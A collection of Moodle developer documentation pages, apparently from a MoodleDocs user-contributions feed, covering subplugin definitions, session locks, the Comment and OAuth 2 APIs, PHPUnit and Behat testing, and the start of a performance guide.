MoodleDocs - User contributions [en]

Subplugins

2023-07-11T15:07:27Z

Mits: ja link

==Defining sub-plugin type==

{{Moodle 2.6}}

Sub-plugins are supported in following plugin types:
* activity modules
* html editors (since 2.4)
* local plugins (since 2.6)
* admin tools (since 2.6)

===db/subplugins.json===

{{Moodle 3.8}}

Starting with Moodle 3.8, the subplugins should be defined in the <tt>db/subplugins.json</tt> file. For example, from <tt>mod/workshop/db/subplugins.json</tt>:
<syntaxhighlight lang="json">
{
"plugintypes": {
"workshopform": "mod/workshop/form",
"workshopallocation": "mod/workshop/allocation",
"workshopeval": "mod/workshop/eval"
}
}
</syntaxhighlight>

If you have a plugin supporting multiple versions, then you should create the <tt>db/subplugins.json</tt> file, as well as a <tt>db/subplugins.php</tt> variant which contains the following:
<syntaxhighlight lang="php">
<?php

$subplugins = (array) json_decode(file_get_contents(__DIR__ . "/subplugins.json"))->plugintypes;
</syntaxhighlight>

===db/subplugins.php===

Each activity module can define a set of sub-plugin '''types''' (not to be confused with the subplugins themselves) in <tt>db/subplugins.php</tt>. The file must contain an array called <tt>$subplugins</tt>, with the plugin type as the key for the directory containing the plugins. For example, from <tt>mod/workshop/db/subplugins.php</tt>:
<syntaxhighlight lang="php">
$subplugins = array(
'workshopform' => 'mod/workshop/form',
'workshopallocation' => 'mod/workshop/allocation',
'workshopeval' => 'mod/workshop/eval',
);
</syntaxhighlight>

This defines 3 plugin types, <tt>workshopform</tt>, <tt>workshopallocation</tt>, and <tt>workshopeval</tt>. The plugins themselves can be found in <tt>mod/workshop/form</tt>, <tt>mod/workshop/allocation</tt> and <tt>mod/workshop/eval</tt>, respectively. Each of these directories can contain a number of plugins, each within it's own subdirectory.

===Language strings===

You also need to add an entry in the module's language strings to identify the subplugin(s). Again, using an example from Workshop in <tt>mod/workshop/lang/en/workshop.php</tt> one can find:
<syntaxhighlight lang="php">
$string['subplugintype_workshopallocation'] = 'Submissions allocation method';
$string['subplugintype_workshopallocation_plural'] = 'Submissions allocation methods';
$string['subplugintype_workshopeval'] = 'Grading evaluation method';
$string['subplugintype_workshopeval_plural'] = 'Grading evaluation methods';
$string['subplugintype_workshopform'] = 'Grading strategy';
$string['subplugintype_workshopform_plural'] = 'Grading strategies';
</syntaxhighlight>

===Naming rules and recommendations===

#sub-plugin type names must use only letters [a-z]+
# sub-plugin types must be globally unique - they must not collide with any other plugin type, core subsystem or any other sub-plugin type
# sub-plugin type names must be short because there are limits on database table name lengths

===plugininfo class===
{{Moodle 2.6}}

Developers should always define a plugininfo class that describes the properties of subplugins.

In Moodle 2.5 the class was named <tt>plugininfo_plugintype</tt> and was expected to be in <tt>plugindir/adminlib.php</tt> file.

Since Moodle 2.6 the class has to be called <tt>\plugintype_pluginname\plugininfo\subtypename</tt> and is expected to be in <tt>plugindir/classes/plugininfo/subtypename.php</tt> file.

Here is an example of the class for a plugin called mod_feed and subtype called feedview (doc comments omitted for brevity):

<syntaxhighlight lang="php">
namespace mod_feed\plugininfo;
class feedview extends \core\plugininfo\base {
}
</syntaxhighlight>

===Uninstallation support===
{{Moodle 2.6}}

Since Moodle 2.6 sub-plugin types may define custom uninstallation method. It is useful if you need to cleanup up some db tables or settings when uninstalling individual sub-plugins.

===Management page===

Moodle includes only basic listing of installed sub-plugins and support for sub-plugin uninstallation.

== Writing a sub-plugin ==

A lot of the basic structure of a sub-plugin is the same as any other plugin. It can have a <tt>version.php</tt> (don't forget the object is '''$plugin''' not '''$mod'''), a <tt>lang</tt> directory, and can have a <tt>db</tt> directory with <tt>install.xml</tt> and all the others files can can go in there.

As a minimum, you will need the version.php file and a language file with 'pluginname' defined.

However the details of what APIs the sub-plugin has to provide depends on the type of sub-plugin it is. For example, and quiz report has to follow the rules for quiz reports that the quiz module sets, and a workshop allocation has to follow the rules set by the workshop module. When you create a new type of sub-plugin, you should document the expected API.

=== Settings pages ===

A subplugin can include a settings.php page but it will '''not''' be included automatically. It is the responsibility of the parent module's settings.php file to include the subplugin's settings pages. See lib/editor/tinymce/ for a real example.

===Distribution of sub-plugins===

Basic set of sub-plugins is usually distributed with each add-on. It is also possible to submit add-on sub-plugins separately.

[[Category:Plugins]]
[[ja:サブプラグイン]]

Session locks

2023-06-04T15:02:45Z

Mits: ja link

When you create a normal moodle page and include config.php then by default a large amount of moodle bootstrapping runs and you will have the $SESSION global setup for you. This is a safe starting assumption but when writing higher performance code it is better to reduce or eliminate the session locks where possible.
== Debugging session lock issues ==
If you have 'pages that are slow' and you profile them and see that you are waiting on a lock to free up then this is potentially an easy thing to fix to improve your overall performance.
$CFG->debugsessionlock = 5; // Time in seconds
When a session is locked for more N seconds a debugging call will be made with details of what the other page was which is holding onto the lock.
== Session unlocking ==
By default core assumes that you might need to mutate the $SESSION object so it will hold a lock on the session until the page finished and a shutdown handler will release the session lock.
If you are working on any page which is potentially long running, then you should cleanly separate logic which runs early which could mutate the session from the long running processin code and unlock the session.
\core\session\manager::write_close();
== Read only session in pages ==
For this to work, READONLY sessions must be enabled as well needing your code to support it. Not all session

If you know ahead of time that you will never mutate the session, but you still need to be able to read it, then you can declare your page to be read only. This will mean your page will never block the session in another http request.
define('READ_ONLY_SESSION', true);
== Read only sessions in web services ==
The same is possible in web services. When you declare your web service you can specify it will not need a session lock:
'core_message_get_unread_conversations_count' => array(
'classname' => 'core_message_external',
'methodname' => 'get_unread_conversations_count',
'classpath' => 'message/externallib.php',
'description' => 'Retrieve the count of unread conversations for a given user',
'type' => 'read',
'ajax' => true,
'services' => array(MOODLE_OFFICIAL_MOBILE_SERVICE),
'''<nowiki>'readonlysession' => true, // We don't modify the session.</nowiki>'''
),
== No session at all ==
If your script doesn't actually need $SESSION in the first place then save even more processing and locks by declaring:
define('NO_MOODLE_COOKIES', true);
== No config is needed ==
Going to the absolute extreme, if you do not even need the full moodle bootstrap to run then you can skip it via:
define('ABORT_AFTER_CONFIG', true);

[[ja:セッションロック_(Dev_docs)]]

Comment API

2023-05-19T15:08:41Z

Mits: ja link

{{Moodle 2.0}}==Objectives==

The goals of Comment API:

* Manage comments centrally
* Use a consistent approach for all comments throughout Moodle
* Easily integrate Comment API with existing modules
* Works no matter Javascript is enabled or not

==Overview==

Comment API provides following functionalities:
# Add comments
# Manage comments
# Delete comments

And provides a fancy ajax interface to add/delete comments without reloading page.

==Comment API database table==

{| class="wikitable"
|-
! Field
! Type
! Default
! Info
|-
| id
| int(10)
| auto-incrementing
| The unique ID for this comment.
|-
| userid
| int(10)
|
| who wrote this comment
|-
| contextid
| int(10)
|
| The context id defined in context table - identifies the instance of plugin owning the comment.
|-
| itemid
| int(10)
|
| Some plugin specific item id (eg. forum post, blog entry or assignment submission)
|-
| commentarea
| int(10)
|
| for example, in user profile, you can comment user's description or interests, but they share the same itemid(==userid), we need comment_area to separate them
|-
| timecreated
| int(10)
|
|
|-
| timemodified
| int(10)
|
|
|-
| content
| text
|
| content of comment
|}

==Use Comment API==

===Add an option to format_text function===

Using this format_text function will add a comment icon automatically at the end of the text:

For example, using the following code in the forum module will add a comment icon to every post:

<syntaxhighlight lang="php">
$cmt = new stdclass;
$cmt->contextid = $modcontext->id;
$cmt->area = 'format_post';
$cmt->itemid = $post->id;
$options->comments = $cmt;
echo format_text($post->message, $post->messageformat, $options, $course->id)."<hr />";
</syntaxhighlight>

===Use comment class===
To use Comment API elsewhere, using following code:
<syntaxhighlight lang="php">
$options->area = 'database_entry';
$options->context = $context;
$options->itemid = $record->id;
$options->component = 'mod_data';
$options->showcount = true;
$comment = new comment($options);
$comment->output(false);
</syntaxhighlight>

==Comment API overview==

Generally speaking, only two functions you need to know to get comment API worked:
# Use comment::init to initialize Comment API
# Use $comment->output to display comments

The comment class has been implemented in comment/lib.php.
===class comment()===
====__construct($contextid, $comment_area, $itemid))====
Initialize class members

====init()====
It is a static function used to initialize comments, setting up languages, which must be called before html head printed

====output($return = false)====
Will print the html snippet for commenting interface, if set $return as true, it will return html string instead of printing out.

====print_comments($params = array())====
Used by non-javascript comment interface, will print a list of comments.

====add($content)====
Public instance funciton, add a comment to database, used in comment/comment_ajax.php

====count()====
Counting the number of comments

====delete($id)====
Delete a comment from database, used in comment/comment_ajax.php

====delete_comments====
Delete all comments in a specific contexts (like all comments belonging to a forum post)

==Javascript API==
Comment API implemented a YUI3 module M.core_comment to deal with the communication between browsers and moodle.
It can be found in comment/comment.js

Call M.core_comment.init will create an instance of CommentHelper class. You don't need to make any calls to this instance, it simply works out of box.

== Moodle modules callback ==
Comment API allows modules/blocks/blog to decide how comments display.

=== Data validation ===
This callback method is required, it must be implemented. Otherwise, new comment will be rejected by default.
Plugins must implement pluginname_comment_validate callback to validate comments parameters, it must return true to pass validation.

===Permission control===
Modules must implement function '''pluginname_comment_permissions''' to return post and view permission.

Blocks need to overwrite '''blockname_comment_permissions''' function of block_base.

Blog need to implement '''blog_comment_permissions''' function.

This function will return an array: array('post'=>true, 'view'=>true)

=== Check new added comment ===
The callback function allows you to change the comment content before inserting into database or reject this comment.

It takes two arguments, the comment object which contains comment details, and $params which contains context and course information.

Modules can implement a function named '''modname_comment_add'''.

Blocks need to overwrite '''blockname_comment_add''' function.

Blog need to implement '''blog_comment_add''' function.

This function should return a boolean value.

=== Filter/format comments ===
This callback allows modules check/format comments when user request to display comments.

It takes the same arguments as pluginname_comment_add

Modules can implement a function named '''pluginname_comment_display'''.

Blocks need to overwrite '''blockname_comment_display''' function.

Blog need to implement '''blog_comment_display''' function.

It will return the comment object.

=== Define a comment template ===
Modules can implement a function named '''pluginname_comment_template''', which allow modules define a comment template.
The template must have 4 embedding variables, ___id___, ___content___, ___time___, ___name___, they will be replaced with html id, comments content, comment time and commenter name

== Backup and Restore ==
Comments will automatically be included in the activity/course backups and restored provided the itemids can be updated during the restore process. To do this either:

* do not use item ids and rely just on the context
* make the commentarea the same as one of the mappings in the restore (set_mapping); or
* override the function "get_comment_mapping_itemname" in the restore activity class

If you do not do one of these the comments will be silently ignored on restore.

==See also==
* [[Core APIs]]
* MDL-19118 - Comment API issue

[[Category:API]]

[[ja:コメントAPI]]

OAuth 2 API

2023-03-22T15:04:18Z

Mits: ja link

== OAuth 2 API ==
{{ Moodle 3.3 }}

The OAuth 2 API is a set of classes that provide OAuth 2 functionality for integrating with remote systems. They exist in the folder /lib/classes/oauth2/ and there are a few concepts to be aware of.

=== Issuers ===
An OAuth Issuer is a named external system that provides identity and API access by issuing OAuth access tokens. They are configured manually at "Site administration -> Server -> OAuth 2 Services" and common ones can be quickly created from a template (Google, Office 365 and Facebook). An Issuer has a name and icon (for display on the login page), a Client ID and Client Secret (part of the OAuth spec).

=== Endpoints ===
An OAuth issuer must have a number of endpoints defined which are the URL's used to fetch and exchange access tokens, as well as fetch identity information. These will be setup automatically for OAuth services created from a template, or OAuth services using Open ID Connect.

The 3 standard endpoints which must be defined are the "authorization endpoint", "token endpoint" and "userinfo endpoint" - these are 3 urls which are used by the OAuth protocol to "allow the user to login", "obtain tokens to access the api" and "get the logged in user information".

=== Open ID Connect ===
Open ID Connect is a protocol built on top of OAuth 2 which provides some standardisation and inter-operability for OAuth 2 based services. If a "base service url" is entered for an Issuer - Moodle will attempt to retrieve the "well known configuration" which provides all the information about the other endpoints required to complete the setup for this service. E.g. for Google - the base service url is "https://accounts.google.com/". By appending ".well-known/openid-configuration" to the url we can find the service description at https://accounts.google.com/.well-known/openid-configuration which contains all the required information for us to automatically complete the setup for this service. This will work with any Open ID connect compliant service.

=== Open Badge Connect API ===
Open Badge Connect API is a specification built by IMS Global which provides some standardisation and interoperability for OAuth 2 based services. If a "base service URL" is entered for an Issuer, Moodle will attempt to retrieve the "well-known configuration" (.well-known/badgeconnect.json) which provides all the information about the endpoints required to complete the setup for this service. Besides, if no client id and secret are given, the registration endpoint will be called to get them (and safe time and effort to the admin).
E.g. for IMS Global testing platform, the base service URL is "https://dc.imsglobal.org/". By appending ".well-known/badgeconnect.json" to the URL we can find the service description which contains all the required information for us to automatically complete the setup for this service (endpoints, client id and secret, image...).

=== User field mappings ===
The other information we need to know about an OAuth 2 service is how to map the user information into Moodle user fields. We do this by adding to the list of user field mappings for the Issuer. The mappings for Open ID Connect services are standard and will be automatically created when setting up an Open ID compliant service - for other services you will need to create the mappings manually. Moodle will use this information to import the user profile fields when creating new accounts. The most important user field mappings are the username and email which are used to identify the Moodle account associated with the OAuth 2 login.

== How a new issuer service should be implemented? ==
Any OAuth2 Service should have a class into the lib/classes/oauth2/service/ folder extending from a discovery system (core\oauth2\discovery\base_definition) and implementing core\oauth2\service\issuer_interface:

* Discovery system indicates the way the endpoints should be obtained.
* Issuer interface has several common methods, called from lib/classes/oauth2/api.php to initialise or discover endpoints.

<syntaxhighlight lang="php">class google extends openidconnect implements issuer_interface {
[...]

class imsobv2p1 extends imsbadgeconnect implements issuer_interface {
[...]

</syntaxhighlight>

== I set up an OAuth 2 Issuer - how do I use it in code? ==
Any plugin that wants to use the configuration information provided by an OAuth issuer first needs to determine which issuer they should use for authentication. This is typically done by adding a setting that lets the admin choose from the list of configured issuers. An example is the "Google Drive" repository. It's possible to have multiple, very similar OAuth Issuers configured e.g. One public Google Issuer and one that is restricted to a specific domain. Once we know the Issuer we wish to use we can use it's ID to get an \core\oauth2\client class which will let us make requests against that API.

<syntaxhighlight lang="php">// Get an issuer from the id.
$issuer = \core\oauth2\api::get_issuer($issuerid);
// Get an OAuth client from the issuer.
$client = \core\oauth2\api::get_user_oauth_client($this->issuer, $returnurl, $scopes);

</syntaxhighlight>

Despite what is said in the code documentation, it is best to check that the client is authenticated and if not, redirect the user to log in.

<syntaxhighlight lang="php">
if (!$client->is_logged_in()) {
redirect($client->get_login_url());
}
</syntaxhighlight>

'''What is return URL?'''

This is a url that will take you back to the current page. The way OAuth works is that the call to get the OAuth client will check to see if we have a valid session with all of the required scopes. If we don't - the user will be redirected immediately to the OAuth login page. When they have logged in - they are redirected back to the "returnurl" in Moodle which must end up making the same call to get an OAuth client - except this time we have a valid session so the client is returned. The returnurl MUST include the sesskey as one of the parameters.

'''What are the scopes?'''

These are named "permission grants" which the user is asked to accept. E.g. "email" is a scope which allows Moodle to see the email address for your logged in account. Each of the requested permissions will be displayed to the user with a description of what they mean and the user will have to "grant" Moodle this level of access - or cancel the operation. It is best practice not to request more scopes than are needed at any one time, and to incrementally request additional scopes as they are going to be used by different features in Moodle. For example - when logging into Moodle we only need to request access to the users basic profile and email address. When accessing a repository - we will need to request read/write access to the users files. Each time we create an oauth client class, we list the scopes that we will be using with this instance of the oauth client - if the user has only approved some of the scopes we request - they will be redirected to a consent screen where they approve the additional level of access.

So - what can I do with my oauth client ?

Make requests! This class extends the moodle curl class but includes authentication information with each request automatically. This means you can use standard functions like $client->get() or $client->post() to manually call rest api functions. This class will also honour the configured Moodle security settings like ipaddress black lists and proxy settings.

How do I make it easier to call API functions?

There is an abstract class \core\oauth2\rest which contains helper functions to allow you to wrap a external rest api in an easier to use class. To use it, make a subclass in your own plugin and define the "get_api_functions()" method.

<syntaxhighlight lang="php">/**
* Google Drive Rest API.
*
* @package fileconverter_googledrive
* @copyright 2017 Damyon Wiese
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
namespace fileconverter_googledrive;

defined('MOODLE_INTERNAL') || die();

/**
* Google Drive Rest API.
*
* @copyright 2017 Damyon Wiese
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
class rest extends \core\oauth2\rest {

/**
* Define the functions of the rest API.
*
* @return array Example:
* [ 'listFiles' => [ 'method' => 'get', 'endpoint' => 'http://...', 'args' => [ 'folder' => PARAM_STRING ] ] ]
*/
public function get_api_functions() {
return [
'create' => [
'endpoint' => 'https://www.googleapis.com/drive/v3/files',
'method' => 'post',
'args' => [
'fields' => PARAM_RAW
],
'response' => 'json'
],
'delete' => [
'endpoint' => 'https://www.googleapis.com/drive/v3/files/{fileid}',
'method' => 'delete',
'args' => [
'fileid' => PARAM_RAW
],
'response' => 'json'
],
];
}
}

</syntaxhighlight>

This example defines 2 functions in the external API 'create' and 'delete'. It specifies the http methods to use when calling these functions as well as the list of parameters. It also specifies that these functions return 'json' which means that the rest class will automatically decode the json response into an object. The url for each function call can contain parameters in the url (marked with curly braces). These will be replaced when they are passed as arguments to the function. Any remaining arguments will be appended as query parameters.

To use this class - we pass the oauth2 client to the constructor and then use the "call" method to call functions from the api.

<syntaxhighlight lang="php">
$service = new \fileconverter_googledrive\rest($client);

$params = ['fileid' => $fileid];

$service->call('delete', $params);
</syntaxhighlight>

== How do I call API functions when the user is not logged in (e.g. from a scheduled task)? ==

Moodle allows you to connect a "system account" to any of the OAuth issuers. This is optional - so before enabling functionality that relies on this level of access you should check that the system account has been connected:

<syntaxhighlight lang="php">
if ($issuer->is_system_account_connected()) {
// Rock and roll.
}
</syntaxhighlight>

If a system account has been connected - we can use it to get an authenticated oauth client (no redirects involved).

<syntaxhighlight lang="php">
$client = \core\oauth2\api::get_system_oauth_client($issuer);
</syntaxhighlight>

This client can now be used to access apis as the Moodle system user.

If your code is going to use additional login scopes with this API - it must list all of the scopes it will use in a callback function so that the Moodle administrator can consent and agree to all the scopes when they connect the system account.

<syntaxhighlight lang="php">
**
* Callback to get the required scopes for system account.
*
* @param \core\oauth2\issuer $issuer
* @return string
*/
function fileconverter_googledrive_oauth2_system_scopes(\core\oauth2\issuer $issuer) {
if ($issuer->get('id') == get_config('fileconverter_googledrive', 'issuerid')) {
return 'https://www.googleapis.com/auth/drive';
}
return '';
}
</syntaxhighlight>

The way the system account works is that a Moodle admin "connects" the system account by logging in with this account and accepting the permissions from the "Site administration -> Server -> OAuth 2 Services" page. One of the permissions they must accept is for offline access. This means that Moodle will receive a refresh token and can store it against that issuer. When we need to get a logged in OAuth client - we can exchange the refresh token for an access token directly, without having to login. The refresh token is updated by a scheduled task to make sure it never expires.

[[ja:開発:OAuth_2_API]]

PHPUnit

2022-04-16T15:08:02Z

Mits: ja link

{{Moodle 2.3}}
=What is PHPUnit=
PHPUnit by Sebastian Bergmann is an advanced unit testing framework for PHP. It is installed as Composer dependency and is not part of Moodle installation. To run PHPUnit tests, you have to manually install it on your development computer or test server.

Read the excellent guide at
* [https://phpunit.de/documentation.html PHPUnit Manual]
=Installation of PHPUnit via Composer=
* Install Composer
Instructions for installing composer on all platforms are here: https://getcomposer.org/download/

Install the composer.phar file to your moodle folder.
* Execute Composer installer
cd /your/moodle/dirroot

php composer.phar install
(If that gives you connection problems try...)
php composer.phar install --prefer-source
Troubleshooting:
* On Windows if you are behind a proxy you will need to setup an environment variable called HTTP_PROXY with a value detailing your HTTP Proxy address and port before composer will correctly download files.
* You may be prompted for github credentials when installing composer dependencies.
** This is used to generate an personal access token to avoid being rate limited by github.
** If you have Two Factor Authentication enabled on your github account, or do not wish to supply your own credentials you will need to generate a token manually:
*** Visit https://github.com/settings/applications and request personal access token
*** Copy this token and add it to your [https://gist.github.com/andrewnicols/c5377ed25a9df1006ce1 ~/.composer/config.json]
** ( See [https://github.com/composer/composer/issues/2280 composer issue #2280] for further details of this bug.)

Detailed instructions:
* [http://getcomposer.org/doc/00-intro.md Composer documentation]
Detailed instructions:
* [[PHPUnit installation in Windows]]
* [[PHPUnit installation in OS X]]
== Uninstalling previous PEAR based version ==
Before using composer, this page used to suggest to install phpunit via PEAR. If you did so, you may wish to uninstall that package now. This should work:
$ pear uninstall phpunit/DbUnit
$ pear uninstall phpunit/PHPUnit
= PHPUnit versions =
The following table shows what PHPUnit version is installed in which Moodle version when using the default composer setup.
{| class="wikitable" border="1"
|-
! Moodle version
! PHPUnit version
!Links
|-
| Moodle 3.11
| PHPUnit 9.5
|[https://phpunit.readthedocs.io/en/9.5/ Documentation]
|-
| Moodle 3.10
| PHPUnit 8.5
|[https://phpunit.readthedocs.io/en/8.5/ Documentation]
|-
| Moodle 3.7 - 3.9
| PHPUnit 7.5
|[https://phpunit.readthedocs.io/en/7.5/ Documentation]
|-
| Moodle 3.4 - 3.6
| PHPUnit 6.5
|[https://phpunit.de/manual/6.5/en/ Documentation]
|-
| Moodle 3.2 - 3.3
| PHPUnit 5.5
|[https://phpunit.de/manual/5.5/en/ Documentation]
|-
| Moodle 3.1
| PHPUnit 4.8.27
|[https://phpunit.de/manual/4.8/en/ Documention 4.8]
|}
=Initialisation of test environment=
Our PHPUnit integration requires a dedicated database and dataroot. First, add a new dataroot directory and prefix into your config.php, you can find examples in config-dist.php (scroll down to 'Section 9').
$CFG->phpunit_prefix = 'phpu_';
$CFG->phpunit_dataroot = '/home/example/phpu_moodledata';
Some PHPUnit tests require a live internet connection. If your system does not have a direct connection to the Internet, you also need to specify your proxy in config.php - even though you normally specify it by using the admin settings user interface. (If you do not use a proxy, you can skip this step.) Check the settings on the relevant admin settings page, or from the mdl_config table in your database, if you are unsure of the correct values.
// Normal proxy settings
$CFG->proxyhost = 'wwwcache.example.org';
$CFG->proxyport = 80;
$CFG->proxytype = 'HTTP';
$CFG->proxybypass = 'localhost, 127.0.0.1, .example.org';
// Omit the next lines if your proxy doesn't need a username/password:
$CFG->proxyuser = 'systemusername';
$CFG->proxypassword = 'systempassword';
From Moodle 2.8.5 onwards, you can also provide specific database settings for unit testing (if these are not provided, the standard database settings will be used):
<pre>$CFG->phpunit_dbtype = 'pgsql'; // 'pgsql', 'mariadb', 'mysqli', 'mssql', 'sqlsrv' or 'oci'
$CFG->phpunit_dblibrary = 'native'; // 'native' only at the moment
$CFG->phpunit_dbhost = '127.0.0.1'; // eg 'localhost' or 'db.isp.com' or IP
$CFG->phpunit_dbname = 'mytestdb'; // database name, eg moodle
$CFG->phpunit_dbuser = 'postgres'; // your database username
$CFG->phpunit_dbpass = 'some_password'; // your database password</pre>
Then you need to initialise the test environment using following command.
cd /home/example/moodle
php admin/tool/phpunit/cli/init.php
This command has to be repeated after any upgrade, plugin (un)installation or if you have added tests to a plugin you are developing:

'''NOTE:''' make sure that your php cli executable (or the one you want to use) is correctly on your path as the individual init scripts will call it repeatedly. Also, ensure en_AU locale is installed on your server.
== LDAP ==
If you want to run LDAP unit tests you must have a working, configured LDAP environment on your test server. There must be a basic LDAP tree structure in place or tests will fail with "Search: No such object". Build an LDAP tree structure in a new shell prompt:
<pre>
$ ldapadd -H ldap://127.0.0.1 -D "cn=admin,dc=yourcomputer,dc=local" -W
dn:dc=yourcomputer,dc=local
objectClass:dcObject
objectClass:organizationalUnit
dc:yourcomputer
ou:YOURCOMPUTER
</pre>
In config.php tell Moodle where to look for your test LDAP environment:
<pre>
// Constants for auth/ldap tests.
define('TEST_AUTH_LDAP_HOST_URL', 'ldap://127.0.0.1');
define('TEST_AUTH_LDAP_BIND_DN', 'cn=admin,dc=yourcomputer,dc=local');
define('TEST_AUTH_LDAP_BIND_PW', '*');
define('TEST_AUTH_LDAP_DOMAIN', 'dc=yourcomputer,dc=local');

// Constants for enrol/ldap tests.
define('TEST_ENROL_LDAP_HOST_URL', 'ldap://127.0.0.1');
define('TEST_ENROL_LDAP_BIND_DN', 'cn=admin,dc=yourcomputer,dc=local');
define('TEST_ENROL_LDAP_BIND_PW', '*');
define('TEST_ENROL_LDAP_DOMAIN', 'dc=yourcomputer,dc=local');

// Constants for lib/ldap tests.
define('TEST_LDAPLIB_HOST_URL', 'ldap://127.0.0.1');
define('TEST_LDAPLIB_BIND_DN', 'cn=admin,dc=yourcomputer,dc=local');
define('TEST_LDAPLIB_BIND_PW', '*');
define('TEST_LDAPLIB_DOMAIN', 'dc=yourcomputer,dc=local');
</pre>
=Test execution=
To execute all test suites from main configuration file execute the <syntaxhighlight lang="php">vendor/bin/phpunit</syntaxhighlight> script from your <syntaxhighlight lang="php">$CFG->dirroot</syntaxhighlight> directory.
cd /home/example/moodle
vendor/bin/phpunit
The rest of examples uses <syntaxhighlight lang="php">phpunit</syntaxhighlight>, please substitute it with <syntaxhighlight lang="php">vendor/bin/phpunit</syntaxhighlight> or create a shortcut in your dirroot.
In IDEs, you may need to specify the path to the PHPUnit configuration file. Use the absolute path to <syntaxhighlight lang="php">phpunit.xml</syntaxhighlight> from your <syntaxhighlight lang="php">$CFG->dirroot</syntaxhighlight>.

There is an alternative script for running of tests via web interface: <syntaxhighlight lang="php">admin/tool/phpunit/webrunner.php</syntaxhighlight>. Use this as the last resort only when you cannot use the command-line interface on your test server. It will most probably break due to permissions problems if you try to execute it both from command-line and from webrunner. This feature is not officially supported.

===How to run only some tests===
==== Running a single test quickly (PHPUnit 9) ====
{{Moodle 3.11}}
The fastest way to run a single test in PHPUnit 9.5 and higher (Moodle 3.11 and higher) is to use the filter argument:
<syntaxhighlight lang="bash">
vendor/bin/phpunit --filter tool_dataprivacy_metadata_registry_testcase
</syntaxhighlight>
To run all tests provided by the single component, use suite and the name it has in the phpunit.xml file. Example:
<syntaxhighlight lang="bash">
vendor/bin/phpunit --testsuite workshopform_accumulative_testsuite
</syntaxhighlight>
Alternatively if you have config files built for each component:
<syntaxhighlight lang="bash">
vendor/bin/phpunit -c mod/workshop/form/accumulative/
</syntaxhighlight>
==== Running a single test quickly (PHPUnit 8) ====
{{Moodle 3.10}}
The fastest way to run a single test in PHPUnit 8.5 and lower (Moodle 3.10 and lower):
<syntaxhighlight lang="bash">
vendor/bin/phpunit my/tests/filename.php
</syntaxhighlight>
so, run this command in the CLI to see a real test in action:
<syntaxhighlight lang="bash">
vendor/bin/phpunit cohort/tests/cohortlib_test.php
</syntaxhighlight>
You can also run a single test method inside a class:
<syntaxhighlight lang="bash">
vendor/bin/phpunit --filter test_function_name path/to/file.php
</syntaxhighlight>
Note: You should be careful because it may be possible to run tests this way which are not included in the normal run if, for example, the file is not placed in the correct location. If you use this method, do at least one full test run (or --group run, as below) to ensure the test can be found.

Filters can also be applied to capture a group of similar tests across all testsuites:
<syntaxhighlight lang="bash">
vendor/bin/phpunit --filter test_flag_user
</syntaxhighlight>
It is also possible to run all tests in a component (subsystem or plugin) by using the testsuite option:
<syntaxhighlight lang="bash">
vendor/bin/phpunit --testsuite mod_forum_testsuite
vendor/bin/phpunit --testsuite core_privacy_testsuite
vendor/bin/phpunit --testsuite core_privacy_testsuite --filter test_component_is_compliant
</syntaxhighlight>
==== Using the @group annotation ====
If you add annotations like
<syntaxhighlight lang="php">
namespace qtype_stack;
/**
* Unit tests for {@link stack_cas_keyval} @ qtype/stack/tests/cas_keyval_test.php.
* @group qtype_stack
*/
class cas_keyval_test extends \basic_testcase {
</syntaxhighlight>
to all the classes in your plugin, then you can run just the tests for your plugin by doing
phpunit --group qtype_stack
Therefore, it is suggested that you annotate all your tests with the Frankenstyle name of your plugin.
==== Using multiple phpunit.xml files ====
It's easy to create alternative phpunit.xml files defining which tests must be run together. For reference, take a look to the default /phpunit.xml available in your base directory once the testing environment has been initialised. After creating the custom file you will be able to run those tests with
vendor/bin/phpunit -c path/to/your/alternative/phpunit/file.xml
Also, for commodity, you can use this command:
php admin/tool/phpunit/cli/util.php --buildcomponentconfigs
It will, automatically, create one valid phpunit.xml file within each component (plugin or subsystem) and other important directories, so later you will be able to execute tests like
vendor/bin/phpunit -c mod/forum[/phpunit.xml] // Note that it's not needed to specify the name of the file (if it is 'phpunit.xml').
vendor/bin/phpunit -c question
vendor/bin/phpunit -c question/type/calculated
vendor/bin/phpunit -c backup
vendor/bin/phpunit -c lib/dml
...
or, also
cd directory/with/phpunit.xml
phpunit
=External test resources=
{{Moodle 2.6}}
By default Moodle phpunit tests contact http://download.moodle.org server when testing curl related functionality. Optionally you may checkout a local copy of the test scripts and access it instead:
# clone https://github.com/moodlehq/moodle-exttests to web directory
# add to your config.php or modify phpunit.xml file <syntaxhighlight lang="php">define('TEST_EXTERNAL_FILES_HTTP_URL', 'http://localhost/moodle-exttests');</syntaxhighlight>
=Writing new tests=
* read [http://www.phpunit.de/manual/current/en/ official PHPUnit online documentation]
* see [[Writing PHPUnit tests]]
=Conversion of existing SimpleTests=
* see [[SimpleTest conversion]]
=PHPUnit support in IDEs=
* [[Setting up Eclipse]]
* [[Setting up Netbeans]]
* [[Setting up PhpStorm]]
=Common Unit Test Problems=
[[Common unit test problems]]
=Performance=
A typical run of full PHPUnit tests for Moodle 2.7 takes 10-20 minutes depending on the machine. If tests run slowly for you:
* Ensure you are using a database and filesystem running on the same machine that is running the tests (not on a remote server).
* Apply developer-only performance settings to your database: [[Postgres Tuning For Developers]]
=Command line tips=
* Run all tests for a plugin (mod_mymodule in this example): vendor/bin/phpunit --testsuite=mod_mymodule_testsuite
* Run only named test: vendor/bin/phpunit --filter=test_my_test_function_name
* Display each test name before running it (useful e.g. if it crashes before the end and you want to know which test it was running at that point) vendor/bin/phpunit --debug (you will probably want to redirect this to a file as it gets very long).
[[Category:Unit testing]]

[[ja:PHPUnit]]

Acceptance testing

2022-02-22T15:02:16Z

Mits: ja link

Moodle uses a framework called Behat to automatically test the user-interface. Tests can be written for each plugin, and for Moodle core.

* To run the existing tests, read [[Running acceptance test]]. You really need to do this first.
* To write new tests, read [[Writing acceptance tests]].
* To define new steps that can you used when writing tests, see [[Writing new acceptance test step definitions]]

Because Behat tests work through the Moodle user interface, they are a bit slow. Therefore, you should probably also use [[PHPUnit]] to test the detailed edge cases in your code.

[[Category:Behat]]

[[ja:受け入れテスト]]

Performance and scalability

2022-02-18T15:01:59Z

Mits: ja link

'''Performance''' is about allowing Moodle to support as many users as possible with a certain amount of hardware.

Of course you can always always buy a bigger server. '''Scalability''' means ensuring that if you buy a server that is about twice as powerful, it can then handle about twice as much load.

This page is part of the [[Coding|Moodle coding guidelines]]

==Writing code that scales and performs==

===Every page should only use a fixed number of database queries===

* Be very suspicious if you ever see database code inside a loop.
** This is sometimes hard to spot if the database access is hidden in a function.
